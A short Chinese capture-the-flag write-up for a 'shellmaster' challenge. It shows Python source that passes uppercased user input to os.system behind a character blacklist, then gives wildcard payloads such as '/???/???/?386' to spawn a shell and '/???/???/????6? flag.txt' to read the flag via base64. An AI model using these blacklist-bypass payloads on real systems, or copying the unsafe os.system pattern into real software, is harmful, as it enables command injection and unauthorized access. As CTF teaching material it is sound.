题目源码
import sys
import os
black_list = ["$", "-", "_", "{", "}", "*", "2", "4"]
#black_list = []
def quit():
os._exit(0)
while True:
sys.stdout.write("input:")
sys.stdout.flush()
cmd = raw_input().upper()
for i in black_list:
if i in cmd:
print("black_list")
quit()
cmd += " 2>&1"
print(cmd)
print(os.system(cmd))
- 如果没有黑名单的话,直接通过$0起一个shell即可
- 现在存在黑名单,需要通过其他方法起shell
/usr/bin/i386
/usr/bin/x86_64
利用方式:以通配符?来匹配/usr/bin/中的文件
/???/???/?386
/???/???/?86?6?
- 也可以在全部转成大写的时候直接读出来
/usr/bin/base64
利用方式:
/???/???/????6? flag.txt
不拿shell,直接读取flag文件,拿返回值直接base64解码即可。
当发现命令不能使用时,可以进/usr/bin/目录下查看能用的命令
https://r0co.top/passages/xman-shellmaster-wp/
shell中的"2>&1"是什么意思?
将输出到标准出错处理的信息,发送到标准输出中。